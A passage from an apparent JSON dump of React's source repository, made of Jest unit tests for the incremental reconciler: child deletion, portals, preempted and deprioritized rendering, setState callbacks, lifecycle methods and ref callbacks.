key=\"a\" text={props.text} />, '!']\n            : null}\n        </div>\n      );\n    }\n\n    ReactNoop.render(<Foo text=\"Hello\" />);\n    await waitForAll([]);\n    expect(ReactNoop).toMatchRenderedOutput(<div>Hello</div>);\n\n    ReactNoop.render(<Foo text=\"World\" />);\n    await waitForAll([]);\n    expect(ReactNoop).toMatchRenderedOutput(<div>WorldWorld!</div>);\n  });\n\n  it('can deletes children either components, host or text', async function () {\n    function Bar(props) {\n      return <span prop={props.children} />;\n    }\n\n    function Foo(props) {\n      return (\n        <div>\n          {props.show\n            ? [<div key=\"a\" />, <Bar key=\"b\">Hello</Bar>, 'World']\n            : []}\n        </div>\n      );\n    }\n\n    ReactNoop.render(<Foo show={true} />);\n    await waitForAll([]);\n    expect(ReactNoop).toMatchRenderedOutput(\n      <div>\n        <div />\n        <span prop=\"Hello\" />\n        World\n      </div>,\n    );\n\n    ReactNoop.render(<Foo show={false} />);\n    await waitForAll([]);\n    expect(ReactNoop).toMatchRenderedOutput(<div />);\n  });\n\n  it('can delete a child that changes type - implicit keys', async function () {\n    let unmounted = false;\n\n    class ClassComponent extends React.Component {\n      componentWillUnmount() {\n        unmounted = true;\n      }\n      render() {\n        return <span prop=\"Class\" />;\n      }\n    }\n\n    function FunctionComponent(props) {\n      return <span prop=\"Function\" />;\n    }\n\n    function Foo(props) {\n      return (\n        <div>\n          {props.useClass ? (\n            <ClassComponent />\n          ) : props.useFunction ? (\n            <FunctionComponent />\n          ) : props.useText ? (\n            'Text'\n          ) : null}\n          Trail\n        </div>\n      );\n    }\n\n    ReactNoop.render(<Foo useClass={true} />);\n    await waitForAll([]);\n    expect(ReactNoop).toMatchRenderedOutput(\n      <div>\n        <span prop=\"Class\" />\n        Trail\n      </div>,\n    );\n\n    expect(unmounted).toBe(false);\n\n    ReactNoop.render(<Foo useFunction={true} />);\n    await waitForAll([]);\n    expect(ReactNoop).toMatchRenderedOutput(\n      <div>\n        <span prop=\"Function\" />\n        Trail\n      </div>,\n    );\n\n    expect(unmounted).toBe(true);\n\n    ReactNoop.render(<Foo useText={true} />);\n    await waitForAll([]);\n    expect(ReactNoop).toMatchRenderedOutput(<div>TextTrail</div>);\n\n    ReactNoop.render(<Foo />);\n    await waitForAll([]);\n    expect(ReactNoop).toMatchRenderedOutput(<div>Trail</div>);\n  });\n\n  it('can delete a child that changes type - explicit keys', async function () {\n    let unmounted = false;\n\n    class ClassComponent extends React.Component {\n      componentWillUnmount() {\n        unmounted = true;\n      }\n      render() {\n        return <span prop=\"Class\" />;\n      }\n    }\n\n    function FunctionComponent(props) {\n      return <span prop=\"Function\" />;\n    }\n\n    function Foo(props) {\n      return (\n        <div>\n          {props.useClass ? (\n            <ClassComponent key=\"a\" />\n          ) : props.useFunction ? (\n            <FunctionComponent key=\"a\" />\n          ) : null}\n          Trail\n        </div>\n      );\n    }\n\n    ReactNoop.render(<Foo useClass={true} />);\n    await waitForAll([]);\n    expect(ReactNoop).toMatchRenderedOutput(\n      <div>\n        <span prop=\"Class\" />\n        Trail\n      </div>,\n    );\n\n    expect(unmounted).toBe(false);\n\n    ReactNoop.render(<Foo useFunction={true} />);\n    await waitForAll([]);\n    expect(ReactNoop).toMatchRenderedOutput(\n      <div>\n        <span prop=\"Function\" />\n        Trail\n      </div>,\n    );\n\n    expect(unmounted).toBe(true);\n\n    ReactNoop.render(<Foo />);\n    await waitForAll([]);\n    expect(ReactNoop).toMatchRenderedOutput(<div>Trail</div>);\n  });\n\n  it('can delete a child when it unmounts inside a portal', async () => {\n    function Bar(props) {\n      return <span prop={props.children} />;\n    }\n\n    const portalContainer =\n      ReactNoop.getOrCreateRootContainer('portalContainer');\n    function Foo(props) {\n      return ReactNoop.createPortal(\n        props.show ? [<div key=\"a\" />, <Bar key=\"b\">Hello</Bar>, 'World'] : [],\n        portalContainer,\n        null,\n      );\n    }\n\n    ReactNoop.render(\n      <div>\n        <Foo show={true} />\n      </div>,\n    );\n    await waitForAll([]);\n    expect(ReactNoop).toMatchRenderedOutput(<div />);\n    expect(ReactNoop.getChildrenAsJSX('portalContainer')).toEqual(\n      <>\n        <div />\n        <span prop=\"Hello\" />\n        World\n      </>,\n    );\n\n    ReactNoop.render(\n      <div>\n        <Foo show={false} />\n      </div>,\n    );\n    await waitForAll([]);\n    expect(ReactNoop).toMatchRenderedOutput(<div />);\n    expect(ReactNoop.getChildrenAsJSX('portalContainer')).toEqual(null);\n\n    ReactNoop.render(\n      <div>\n        <Foo show={true} />\n      </div>,\n    );\n    await waitForAll([]);\n    expect(ReactNoop).toMatchRenderedOutput(<div />);\n    expect(ReactNoop.getChildrenAsJSX('portalContainer')).toEqual(\n      <>\n        <div />\n        <span prop=\"Hello\" />\n        World\n      </>,\n    );\n\n    ReactNoop.render(null);\n    await waitForAll([]);\n    expect(ReactNoop).toMatchRenderedOutput(null);\n    expect(ReactNoop.getChildrenAsJSX('portalContainer')).toEqual(null);\n\n    ReactNoop.render(<Foo show={false} />);\n    await waitForAll([]);\n    expect(ReactNoop).toMatchRenderedOutput(null);\n    expect(ReactNoop.getChildrenAsJSX('portalContainer')).toEqual(null);\n\n    ReactNoop.render(<Foo show={true} />);\n    await waitForAll([]);\n    expect(ReactNoop).toMatchRenderedOutput(null);\n    expect(ReactNoop.getChildrenAsJSX('portalContainer')).toEqual(\n      <>\n        <div />\n        <span prop=\"Hello\" />\n        World\n      </>,\n    );\n\n    ReactNoop.render(null);\n    await waitForAll([]);\n    expect(ReactNoop).toMatchRenderedOutput(null);\n    expect(ReactNoop.getChildrenAsJSX('portalContainer')).toEqual(null);\n  });\n\n  it('can delete a child when it unmounts with a portal', async () => {\n    function Bar(props) {\n      return <span prop={props.children} />;\n    }\n\n    const portalContainer =\n      ReactNoop.getOrCreateRootContainer('portalContainer');\n    function Foo(props) {\n      return ReactNoop.createPortal(\n        [<div key=\"a\" />, <Bar key=\"b\">Hello</Bar>, 'World'],\n        portalContainer,\n        null,\n      );\n    }\n\n    ReactNoop.render(\n      <div>\n        <Foo />\n      </div>,\n    );\n    await waitForAll([]);\n    expect(ReactNoop).toMatchRenderedOutput(<div />);\n    expect(ReactNoop.getChildrenAsJSX('portalContainer')).toEqual(\n      <>\n        <div />\n        <span prop=\"Hello\" />\n        World\n      </>,\n    );\n\n    ReactNoop.render(null);\n    await waitForAll([]);\n    expect(ReactNoop).toMatchRenderedOutput(null);\n    expect(ReactNoop.getChildrenAsJSX('portalContainer')).toEqual(null);\n\n    ReactNoop.render(<Foo />);\n    await waitForAll([]);\n    expect(ReactNoop).toMatchRenderedOutput(null);\n    expect(ReactNoop.getChildrenAsJSX('portalContainer')).toEqual(\n      <>\n        <div />\n        <span prop=\"Hello\" />\n        World\n      </>,\n    );\n\n    ReactNoop.render(null);\n    await waitForAll([]);\n    expect(ReactNoop).toMatchRenderedOutput(null);\n    expect(ReactNoop.getChildrenAsJSX('portalContainer')).toEqual(null);\n  });\n\n  it('does not update child nodes if a flush is aborted', async () => {\n    function Bar(props) {\n      Scheduler.log('Bar');\n      return <span prop={props.text} />;\n    }\n\n    function Foo(props) {\n      Scheduler.log('Foo');\n      return (\n        <div>\n          <div>\n            <Bar text={props.text} />\n            {props.text === 'Hello' ? <Bar text={props.text} /> : null}\n          </div>\n          <Bar text=\"Yo\" />\n        </div>\n      );\n    }\n\n    ReactNoop.render(<Foo text=\"Hello\" />);\n    await waitForAll(['Foo', 'Bar', 'Bar', 'Bar']);\n    expect(ReactNoop).toMatchRenderedOutput(\n      <div>\n        <div>\n          <span prop=\"Hello\" />\n          <span prop=\"Hello\" />\n        </div>\n        <span prop=\"Yo\" />\n      </div>,\n    );\n\n    React.startTransition(() => {\n      ReactNoop.render(<Foo text=\"World\" />);\n    });\n\n    // Flush some of the work without committing\n    await waitFor(['Foo', 'Bar']);\n    expect(ReactNoop).toMatchRenderedOutput(\n      <div>\n        <div>\n          <span prop=\"Hello\" />\n          <span prop=\"Hello\" />\n        </div>\n        <span prop=\"Yo\" />\n      </div>,\n    );\n  });\n\n  // @gate enableLegacyHidden\n  it('preserves a previously rendered node when deprioritized', async () => {\n    function Middle(props) {\n      Scheduler.log('Middle');\n      return <span prop={props.children} />;\n    }\n\n    function Foo(props) {\n      Scheduler.log('Foo');\n      return (\n        <div>\n          <LegacyHiddenDiv mode=\"hidden\">\n            <Middle>{props.text}</Middle>\n          </LegacyHiddenDiv>\n        </div>\n      );\n    }\n\n    ReactNoop.render(<Foo text=\"foo\" />);\n    await waitForAll(['Foo', 'Middle']);\n\n    expect(ReactNoop.getChildrenAsJSX()).toEqual(\n      <div>\n        <div hidden={true}>\n          <span prop=\"foo\" />\n        </div>\n      </div>,\n    );\n\n    ReactNoop.render(<Foo text=\"bar\" />, () => Scheduler.log('commit'));\n    await waitFor(['Foo', 'commit']);\n    expect(ReactNoop.getChildrenAsJSX()).toEqual(\n      <div>\n        <div hidden={true}>\n          <span prop=\"foo\" />\n        </div>\n      </div>,\n    );\n\n    await waitForAll(['Middle']);\n    expect(ReactNoop.getChildrenAsJSX()).toEqual(\n      <div>\n        <div hidden={true}>\n          <span prop=\"bar\" />\n        </div>\n      </div>,\n    );\n  });\n\n  // @gate enableLegacyHidden\n  it('can reuse side-effects after being preempted', async () => {\n    function Bar(props) {\n      Scheduler.log('Bar');\n      return <span prop={props.children} />;\n    }\n\n    const middleContent = (\n      <div>\n        <Bar>Hello</Bar>\n        <Bar>World</Bar>\n      </div>\n    );\n\n    function Foo(props) {\n      Scheduler.log('Foo');\n      return (\n        <LegacyHiddenDiv mode=\"hidden\">\n          {props.step === 0 ? (\n            <div>\n              <Bar>Hi</Bar>\n              <Bar>{props.text}</Bar>\n            </div>\n          ) : (\n            middleContent\n          )}\n        </LegacyHiddenDiv>\n      );\n    }\n\n    // Init\n    ReactNoop.render(<Foo text=\"foo\" step={0} />);\n    await waitForAll(['Foo', 'Bar', 'Bar']);\n\n    expect(ReactNoop.getChildrenAsJSX()).toEqual(\n      <div hidden={true}>\n        <div>\n          <span prop=\"Hi\" />\n          <span prop=\"foo\" />\n        </div>\n      </div>,\n    );\n\n    // Make a quick update which will schedule low priority work to\n    // update the middle content.\n    ReactNoop.render(<Foo text=\"bar\" step={1} />, () =>\n      Scheduler.log('commit'),\n    );\n    await waitFor(['Foo', 'commit', 'Bar']);\n\n    // The tree remains unchanged.\n    expect(ReactNoop.getChildrenAsJSX()).toEqual(\n      <div hidden={true}>\n        <div>\n          <span prop=\"Hi\" />\n          <span prop=\"foo\" />\n        </div>\n      </div>,\n    );\n\n    // The first Bar has already completed its update but we'll interrupt it to\n    // render some higher priority work. The middle content will bailout so\n    // it remains untouched which means that it should reuse it next time.\n    ReactNoop.render(<Foo text=\"foo\" step={1} />);\n    await waitForAll(['Foo', 'Bar', 'Bar']);\n\n    // Since we did nothing to the middle subtree during the interruption,\n    // we should be able to reuse the reconciliation work that we already did\n    // without restarting. The side-effects should still be replayed.\n\n    expect(ReactNoop.getChildrenAsJSX()).toEqual(\n      <div hidden={true}>\n        <div>\n          <span prop=\"Hello\" />\n          <span prop=\"World\" />\n        </div>\n      </div>,\n    );\n  });\n\n  // @gate enableLegacyHidden\n  it('can reuse side-effects after being preempted, if shouldComponentUpdate is false', async () => {\n    class Bar extends React.Component {\n      shouldComponentUpdate(nextProps) {\n        return this.props.children !== nextProps.children;\n      }\n      render() {\n        Scheduler.log('Bar');\n        return <span prop={this.props.children} />;\n      }\n    }\n\n    class Content extends React.Component {\n      shouldComponentUpdate(nextProps) {\n        return this.props.step !== nextProps.step;\n      }\n      render() {\n        Scheduler.log('Content');\n        return (\n          <div>\n            <Bar>{this.props.step === 0 ? 'Hi' : 'Hello'}</Bar>\n            <Bar>{this.props.step === 0 ? this.props.text : 'World'}</Bar>\n          </div>\n        );\n      }\n    }\n\n    function Foo(props) {\n      Scheduler.log('Foo');\n      return (\n        <LegacyHiddenDiv mode=\"hidden\">\n          <Content step={props.step} text={props.text} />\n        </LegacyHiddenDiv>\n      );\n    }\n\n    // Init\n    ReactNoop.render(<Foo text=\"foo\" step={0} />);\n    await waitForAll(['Foo', 'Content', 'Bar', 'Bar']);\n\n    expect(ReactNoop.getChildrenAsJSX()).toEqual(\n      <div hidden={true}>\n        <div>\n          <span prop=\"Hi\" />\n          <span prop=\"foo\" />\n        </div>\n      </div>,\n    );\n\n    // Make a quick update which will schedule low priority work to\n    // update the middle content.\n    ReactNoop.render(<Foo text=\"bar\" step={1} />);\n    await waitFor(['Foo', 'Content', 'Bar']);\n\n    // The tree remains unchanged.\n    expect(ReactNoop.getChildrenAsJSX()).toEqual(\n      <div hidden={true}>\n        <div>\n          <span prop=\"Hi\" />\n          <span prop=\"foo\" />\n        </div>\n      </div>,\n    );\n\n    // The first Bar has already completed its update but we'll interrupt it to\n    // render some higher priority work. The middle content will bailout so\n    // it remains untouched which means that it should reuse it next time.\n    ReactNoop.render(<Foo text=\"foo\" step={1} />);\n    await waitForAll(['Foo', 'Content', 'Bar', 'Bar']);\n\n    // Since we did nothing to the middle subtree during the interruption,\n    // we should be able to reuse the reconciliation work that we already did\n    // without restarting. The side-effects should still be replayed.\n\n    expect(ReactNoop.getChildrenAsJSX()).toEqual(\n      <div hidden={true}>\n        <div>\n          <span prop=\"Hello\" />\n          <span prop=\"World\" />\n        </div>\n      </div>,\n    );\n  });\n\n  it('can update a completed tree before it has a chance to commit', async () => {\n    function Foo(props) {\n      Scheduler.log('Foo ' + props.step);\n      return <span prop={props.step} />;\n    }\n    React.startTransition(() => {\n      ReactNoop.render(<Foo step={1} />);\n    });\n    // This should be just enough to complete the tree without committing it\n    await waitFor(['Foo 1']);\n    expect(ReactNoop.getChildrenAsJSX()).toEqual(null);\n    // To confirm, perform one more unit of work. The tree should now\n    // be flushed.\n    await waitForPaint([]);\n    expect(ReactNoop.getChildrenAsJSX()).toEqual(<span prop={1} />);\n\n    React.startTransition(() => {\n      ReactNoop.render(<Foo step={2} />);\n    });\n    // This should be just enough to complete the tree without committing it\n    await waitFor(['Foo 2']);\n    expect(ReactNoop.getChildrenAsJSX()).toEqual(<span prop={1} />);\n    // This time, before we commit the tree, we update the root component with\n    // new props\n\n    React.startTransition(() => {\n      ReactNoop.render(<Foo step={3} />);\n    });\n    expect(ReactNoop.getChildrenAsJSX()).toEqual(<span prop={1} />);\n    // Now let's commit. We already had a commit that was pending, which will\n    // render 2.\n    await waitForPaint([]);\n    expect(ReactNoop.getChildrenAsJSX()).toEqual(<span prop={2} />);\n    // If we flush the rest of the work, we should get another commit that\n    // renders 3. If it renders 2 again, that means an update was dropped.\n    await waitForAll(['Foo 3']);\n    expect(ReactNoop.getChildrenAsJSX()).toEqual(<span prop={3} />);\n  });\n\n  // @gate enableLegacyHidden\n  it('updates a child even though the old props is empty', async () => {\n    function Foo(props) {\n      return (\n        <LegacyHiddenDiv mode=\"hidden\">\n          <span prop={1} />\n        </LegacyHiddenDiv>\n      );\n    }\n\n    ReactNoop.render(<Foo />);\n    await waitForAll([]);\n    expect(ReactNoop.getChildrenAsJSX()).toEqual(\n      <div hidden={true}>\n        <span prop={1} />\n      </div>,\n    );\n  });\n\n  // eslint-disable-next-line jest/no-disabled-tests\n  it.skip('can defer side-effects and resume them later on', async () => {\n    class Bar extends React.Component {\n      shouldComponentUpdate(nextProps) {\n        return this.props.idx !== nextProps.idx;\n      }\n      render() {\n        return <span prop={this.props.idx} />;\n      }\n    }\n    function Foo(props) {\n      return (\n        <div>\n          <span prop={props.tick} />\n          <div hidden={true}>\n            <Bar idx={props.idx} />\n            <Bar idx={props.idx + 1} />\n          </div>\n        </div>\n      );\n    }\n    ReactNoop.render(<Foo tick={0} idx={0} />);\n    ReactNoop.flushDeferredPri(40 + 25);\n    expect(ReactNoop).toMatchRenderedOutput(\n      <div>\n        <span prop={0} />\n        <div />\n      </div>,\n    );\n    ReactNoop.render(<Foo tick={1} idx={0} />);\n    ReactNoop.flushDeferredPri(35 + 25);\n    expect(ReactNoop).toMatchRenderedOutput(\n      <div>\n        <span prop={1} />\n        <div>{/*still not rendered yet*/}</div>\n      </div>,\n    );\n    ReactNoop.flushDeferredPri(30 + 25);\n    expect(ReactNoop).toMatchRenderedOutput(\n      <div>\n        <span prop={1} />\n        <div>\n          {/* Now we had enough time to finish the spans. */}\n          <span prop={0} />\n          <span prop={1} />\n        </div>\n        ,\n      </div>,\n    );\n    const innerSpanA =\n      ReactNoop.dangerouslyGetChildren()[0].children[1].children[1];\n    ReactNoop.render(<Foo tick={2} idx={1} />);\n    ReactNoop.flushDeferredPri(30 + 25);\n    expect(ReactNoop).toMatchRenderedOutput(\n      <div>\n        <span prop={2} />\n        <div>\n          {/* Still same old numbers. */}\n          <span prop={0} />\n          <span prop={1} />\n        </div>\n      </div>,\n    );\n    ReactNoop.render(<Foo tick={3} idx={1} />);\n    await waitForAll([]);\n    expect(ReactNoop).toMatchRenderedOutput(\n      <div>\n        <span prop={3} />\n        <div>\n          {/* New numbers. */}\n          <span prop={1} />\n          <span prop={2} />\n        </div>\n      </div>,\n    );\n\n    const innerSpanB =\n      ReactNoop.dangerouslyGetChildren()[0].children[1].children[1];\n    // This should have been an update to an existing instance, not recreation.\n    // We verify that by ensuring that the child instance was the same as\n    // before.\n    expect(innerSpanA).toBe(innerSpanB);\n  });\n\n  // eslint-disable-next-line jest/no-disabled-tests\n  it.skip('can defer side-effects and reuse them later - complex', async function () {\n    let ops = [];\n\n    class Bar extends React.Component {\n      shouldComponentUpdate(nextProps) {\n        return this.props.idx !== nextProps.idx;\n      }\n      render() {\n        ops.push('Bar');\n        return <span prop={this.props.idx} />;\n      }\n    }\n    class Baz extends React.Component {\n      shouldComponentUpdate(nextProps) {\n        return this.props.idx !== nextProps.idx;\n      }\n      render() {\n        ops.push('Baz');\n        return [\n          <Bar key=\"a\" idx={this.props.idx} />,\n          <Bar key=\"b\" idx={this.props.idx} />,\n        ];\n      }\n    }\n    function Foo(props) {\n      ops.push('Foo');\n      return (\n        <div>\n          <span prop={props.tick} />\n          <div hidden={true}>\n            <Baz idx={props.idx} />\n            <Baz idx={props.idx} />\n            <Baz idx={props.idx} />\n          </div>\n        </div>\n      );\n    }\n    ReactNoop.render(<Foo tick={0} idx={0} />);\n    ReactNoop.flushDeferredPri(65 + 5);\n    expect(ReactNoop).toMatchRenderedOutput(\n      <div>\n        <span prop={0} />\n        {/*the spans are down-prioritized and not rendered yet*/}\n        <div />\n      </div>,\n    );\n\n    expect(ops).toEqual(['Foo', 'Baz', 'Bar']);\n    ops = [];\n\n    ReactNoop.render(<Foo tick={1} idx={0} />);\n    ReactNoop.flushDeferredPri(70);\n    expect(ReactNoop).toMatchRenderedOutput(\n      <div>\n        <span prop={1} />\n        {/*still not rendered yet*/}\n        <div />\n      </div>,\n    );\n\n    expect(ops).toEqual(['Foo']);\n    ops = [];\n\n    await waitForAll([]);\n    expect(ReactNoop).toMatchRenderedOutput([\n      <div>\n        <span prop={1} />,\n        <div>\n          {/* Now we had enough time to finish the spans. */}\n          <span prop={0} />,\n          <span prop={0} />,\n          <span prop={0} />,\n          <span prop={0} />,\n          <span prop={0} />,\n          <span prop={0} />,\n        </div>\n      </div>,\n    ]);\n\n    expect(ops).toEqual(['Bar', 'Baz', 'Bar', 'Bar', 'Baz', 'Bar', 'Bar']);\n    ops = [];\n\n    // Now we're going to update the index but we'll only let it finish half\n    // way through.\n    ReactNoop.render(<Foo tick={2} idx={1} />);\n    ReactNoop.flushDeferredPri(95);\n    expect(ReactNoop).toMatchRenderedOutput(\n      <div>\n        <span prop={2} />,\n        <div>\n          {/* Still same old numbers. */}\n          <span prop={0} />\n          <span prop={0} />\n          <span prop={0} />\n          <span prop={0} />\n          <span prop={0} />\n          <span prop={0} />\n        </div>\n      </div>,\n    );\n\n    // We let it finish half way through. That means we'll have one fully\n    // completed Baz, one half-way completed Baz and one fully incomplete Baz.\n    expect(ops).toEqual(['Foo', 'Baz', 'Bar', 'Bar', 'Baz', 'Bar']);\n    ops = [];\n\n    // We'll update again, without letting the new index update yet. Only half\n    // way through.\n    ReactNoop.render(<Foo tick={3} idx={1} />);\n    ReactNoop.flushDeferredPri(50);\n    expect(ReactNoop).toMatchRenderedOutput(\n      <div>\n        <span prop={3} />\n        <div>\n          {/* Old numbers. */}\n          <span prop={0} />\n          <span prop={0} />\n          <span prop={0} />\n          <span prop={0} />\n          <span prop={0} />\n          <span prop={0} />\n        </div>\n      </div>,\n    );\n\n    expect(ops).toEqual(['Foo']);\n    ops = [];\n\n    // We should now be able to reuse some of the work we've already done\n    // and replay those side-effects.\n    await waitForAll([]);\n    expect(ReactNoop).toMatchRenderedOutput([\n      <div>\n        <span prop={3} />,\n        <div>\n          {/* New numbers. */}\n          <span prop={1} />\n          <span prop={1} />\n          <span prop={1} />\n          <span prop={1} />\n          <span prop={1} />\n          <span prop={1} />\n        </div>\n      </div>,\n    ]);\n\n    expect(ops).toEqual(['Bar', 'Baz', 'Bar', 'Bar']);\n  });\n\n  // @gate enableLegacyHidden\n  it('deprioritizes setStates that happens within a deprioritized tree', async () => {\n    const barInstances = [];\n\n    class Bar extends React.Component {\n      constructor() {\n        super();\n        this.state = {active: false};\n      }\n      activate() {\n        this.setState({active: true});\n      }\n      render() {\n        barInstances.push(this);\n        Scheduler.log('Bar');\n        return <span prop={this.state.active ? 'X' : this.props.idx} />;\n      }\n    }\n    function Foo(props) {\n      Scheduler.log('Foo');\n      return (\n        <div>\n          <span prop={props.tick} />\n          <LegacyHiddenDiv mode=\"hidden\">\n            <Bar idx={props.idx} />\n            <Bar idx={props.idx} />\n            <Bar idx={props.idx} />\n          </LegacyHiddenDiv>\n        </div>\n      );\n    }\n    ReactNoop.render(<Foo tick={0} idx={0} />);\n    await waitForAll(['Foo', 'Bar', 'Bar', 'Bar']);\n    expect(ReactNoop.getChildrenAsJSX()).toEqual(\n      <div>\n        <span prop={0} />\n        <div hidden={true}>\n          <span prop={0} />\n          <span prop={0} />\n          <span prop={0} />\n        </div>\n      </div>,\n    );\n\n    ReactNoop.render(<Foo tick={1} idx={1} />);\n    await waitFor(['Foo', 'Bar', 'Bar']);\n    expect(ReactNoop.getChildrenAsJSX()).toEqual(\n      <div>\n        {/* Updated */}\n        <span prop={1} />\n        <div hidden={true}>\n          <span prop={0} />\n          <span prop={0} />\n          <span prop={0} />\n        </div>\n      </div>,\n    );\n\n    barInstances[0].activate();\n\n    // This should not be enough time to render the content of all the hidden\n    // items. Including the set state since that is deprioritized.\n    // ReactNoop.flushDeferredPri(35);\n    await waitFor(['Bar']);\n    expect(ReactNoop.getChildrenAsJSX()).toEqual(\n      <div>\n        {/* Updated */}\n        <span prop={1} />\n        <div hidden={true}>\n          {/* Still not updated */}\n          <span prop={0} />\n          <span prop={0} />\n          <span prop={0} />\n        </div>\n      </div>,\n    );\n\n    // However, once we render fully, we will have enough time to finish it all\n    // at once.\n    await waitForAll(['Bar', 'Bar']);\n    expect(ReactNoop.getChildrenAsJSX()).toEqual(\n      <div>\n        <span prop={1} />\n        <div hidden={true}>\n          {/* Now we had enough time to finish the spans. */}\n          <span prop=\"X\" />\n          <span prop={1} />\n          <span prop={1} />\n        </div>\n      </div>,\n    );\n  });\n  // TODO: Test that side-effects are not cut off when a work in progress node\n  // moves to \"current\" without flushing due to having lower priority. Does this\n  // even happen? Maybe a child doesn't get processed because it is lower prio?\n\n  it('calls callback after update is flushed', async () => {\n    let instance;\n    class Foo extends React.Component {\n      constructor() {\n        super();\n        instance = this;\n        this.state = {text: 'foo'};\n      }\n      render() {\n        return <span prop={this.state.text} />;\n      }\n    }\n\n    ReactNoop.render(<Foo />);\n    await waitForAll([]);\n    expect(ReactNoop).toMatchRenderedOutput(<span prop=\"foo\" />);\n    let called = false;\n    instance.setState({text: 'bar'}, () => {\n      expect(ReactNoop).toMatchRenderedOutput(<span prop=\"bar\" />);\n      called = true;\n    });\n    await waitForAll([]);\n    expect(called).toBe(true);\n  });\n\n  it('calls setState callback even if component bails out', async () => {\n    let instance;\n    class Foo extends React.Component {\n      constructor() {\n        super();\n        instance = this;\n        this.state = {text: 'foo'};\n      }\n      shouldComponentUpdate(nextProps, nextState) {\n        return this.state.text !== nextState.text;\n      }\n      render() {\n        return <span prop={this.state.text} />;\n      }\n    }\n\n    ReactNoop.render(<Foo />);\n    await waitForAll([]);\n    expect(ReactNoop).toMatchRenderedOutput(<span prop=\"foo\" />);\n    let called = false;\n    instance.setState({}, () => {\n      called = true;\n    });\n    await waitForAll([]);\n    expect(called).toBe(true);\n  });\n\n  // TODO: Test that callbacks are not lost if an update is preempted.\n\n  it('calls componentWillUnmount after a deletion, even if nested', async () => {\n    const ops = [];\n\n    class Bar extends React.Component {\n      componentWillUnmount() {\n        ops.push(this.props.name);\n      }\n      render() {\n        return <span />;\n      }\n    }\n\n    class Wrapper extends React.Component {\n      componentWillUnmount() {\n        ops.push('Wrapper');\n      }\n      render() {\n        return <Bar name={this.props.name} />;\n      }\n    }\n\n    function Foo(props) {\n      return (\n        <div>\n          {props.show\n            ? [\n                <Bar key=\"a\" name=\"A\" />,\n                <Wrapper key=\"b\" name=\"B\" />,\n                <div key=\"cd\">\n                  <Bar name=\"C\" />\n                  <Wrapper name=\"D\" />,\n                </div>,\n                [<Bar key=\"e\" name=\"E\" />, <Bar key=\"f\" name=\"F\" />],\n              ]\n            : []}\n          <div>{props.show ? <Bar key=\"g\" name=\"G\" /> : null}</div>\n          <Bar name=\"this should not unmount\" />\n        </div>\n      );\n    }\n\n    ReactNoop.render(<Foo show={true} />);\n    await waitForAll([]);\n    expect(ops).toEqual([]);\n\n    ReactNoop.render(<Foo show={false} />);\n    await waitForAll([]);\n    expect(ops).toEqual([\n      'A',\n      'Wrapper',\n      'B',\n      'C',\n      'Wrapper',\n      'D',\n      'E',\n      'F',\n      'G',\n    ]);\n  });\n\n  it('calls componentDidMount/Update after insertion/update', async () => {\n    let ops = [];\n\n    class Bar extends React.Component {\n      componentDidMount() {\n        ops.push('mount:' + this.props.name);\n      }\n      componentDidUpdate() {\n        ops.push('update:' + this.props.name);\n      }\n      render() {\n        return <span />;\n      }\n    }\n\n    class Wrapper extends React.Component {\n      componentDidMount() {\n        ops.push('mount:wrapper-' + this.props.name);\n      }\n      componentDidUpdate() {\n        ops.push('update:wrapper-' + this.props.name);\n      }\n      render() {\n        return <Bar name={this.props.name} />;\n      }\n    }\n\n    function Foo(props) {\n      return (\n        <div>\n          <Bar key=\"a\" name=\"A\" />\n          <Wrapper key=\"b\" name=\"B\" />\n          <div key=\"cd\">\n            <Bar name=\"C\" />\n            <Wrapper name=\"D\" />\n          </div>\n          {[<Bar key=\"e\" name=\"E\" />, <Bar key=\"f\" name=\"F\" />]}\n          <div>\n            <Bar key=\"g\" name=\"G\" />\n          </div>\n        </div>\n      );\n    }\n\n    ReactNoop.render(<Foo />);\n    await waitForAll([]);\n    expect(ops).toEqual([\n      'mount:A',\n      'mount:B',\n      'mount:wrapper-B',\n      'mount:C',\n      'mount:D',\n      'mount:wrapper-D',\n      'mount:E',\n      'mount:F',\n      'mount:G',\n    ]);\n\n    ops = [];\n\n    ReactNoop.render(<Foo />);\n    await waitForAll([]);\n    expect(ops).toEqual([\n      'update:A',\n      'update:B',\n      'update:wrapper-B',\n      'update:C',\n      'update:D',\n      'update:wrapper-D',\n      'update:E',\n      'update:F',\n      'update:G',\n    ]);\n  });\n\n  it('invokes ref callbacks after insertion/update/unmount', async () => {\n    let classInstance = null;\n\n    let ops = [];\n\n    class ClassComponent extends React.Component {\n      render() {\n        classInstance = this;\n        return <span />;\n      }\n    }\n\n    function FunctionComponent(props) {\n      return <span />;\n    }\n\n    function Foo(props) {\n      return props.show ? (\n        <div>\n          <ClassComponent ref={n => ops.push(n)} />\n          <FunctionComponent ref={n => ops.push(n)} />\n          <div ref={n => ops.push(n)} />\n        </div>\n      ) : null;\n    }\n\n    ReactNoop.render(<Foo show={true} />);\n\n    await waitForAll([]);\n\n    expect(ops).toEqual([\n      classInstance,\n      // no call for function components\n      {type: 'div', children: [], prop: undefined, hidden: false},\n    ]);\n\n    ops = [];\n\n    // Refs that switch function instances get reinvoked\n    ReactNoop.render(<Foo show={true} />);\n    await waitForAll([]);\n    expect(ops).toEqual([\n      // detach all refs that switched handlers first.\n      null,\n      null,\n      // reattach as a separate phase\n      classInstance,\n      {type: 'div', children: [], prop: undefined, hidden: false},\n    ]);\n\n    ops = [];\n\n    ReactNoop.render(<Foo show={false} />);\n    await waitForAll([]);\n    expect(ops).toEqual([\n      // unmount\n      null,\n      null,\n    ]);\n  });\n\n  // TODO: Test that mounts, updates, refs, unmounts and deletions happen in the\n  // expected way for aborted and resumed render life-cycles.\n});\n"
  },
  {
    "path": "packages/react-reconciler/src/__tests__/ReactIncrementalUpdates-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n * @jest-environment node\n */\n\n'use strict';\n\nlet React;\nlet ReactNoop;\nlet Scheduler;\nlet ContinuousEventPriority;\nlet act;\nlet waitForAll;\nlet waitFor;\nlet assertLog;\nlet assertConsoleErrorDev;\n\ndescribe('ReactIncrementalUpdates', () => {\n  beforeEach(() => {\n    jest.resetModules();\n\n    React = require('react');\n    ReactNoop = require('react-noop-renderer');\n    Scheduler = require('scheduler');\n    act = require('internal-test-utils').act;\n    ContinuousEventPriority =\n      require('react-reconciler/constants').ContinuousEventPriority;\n\n    const InternalTestUtils = require('internal-test-utils');\n    waitForAll = InternalTestUtils.waitForAll;\n    waitFor = InternalTestUtils.waitFor;\n    assertLog = InternalTestUtils.assertLog;\n    assertConsoleErrorDev = 